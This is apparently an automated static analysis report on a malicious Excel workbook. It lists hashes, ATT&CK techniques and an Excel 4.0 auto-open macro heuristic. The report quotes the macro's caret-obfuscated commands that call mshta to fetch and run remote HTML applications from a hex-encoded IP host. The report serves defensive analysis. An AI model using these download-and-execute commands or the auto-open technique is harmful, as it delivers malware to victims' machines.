Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 20fa67416aad01ea…

MALICIOUS

Office (OLE) / .XLS

65.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 5be67aa78e5b8a4a897fb6f7505855fd SHA-1: 8b66dfc358dc345866735b51bed0174c95ac525c SHA-256: 20fa67416aad01ea8ee5f4451a81bdd5ab4c949dfa6d73625a7d0e2cf0e2b9a9
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1105 Ingress Tool Transfer T1566.001 Phishing: Spearphishing Attachment T1204.001 User Execution: Malicious Link

The sample uses a social engineering lure in the document body to trick the user into enabling macros. The extracted XLM macro contains a script that executes the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which uses caret symbols as obfuscation to call mshta.exe to execute a remote HTML application. Use of of the same host 0xc12a24f5 for both URLs is highly indicative of a remote payload delivery mechanism.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes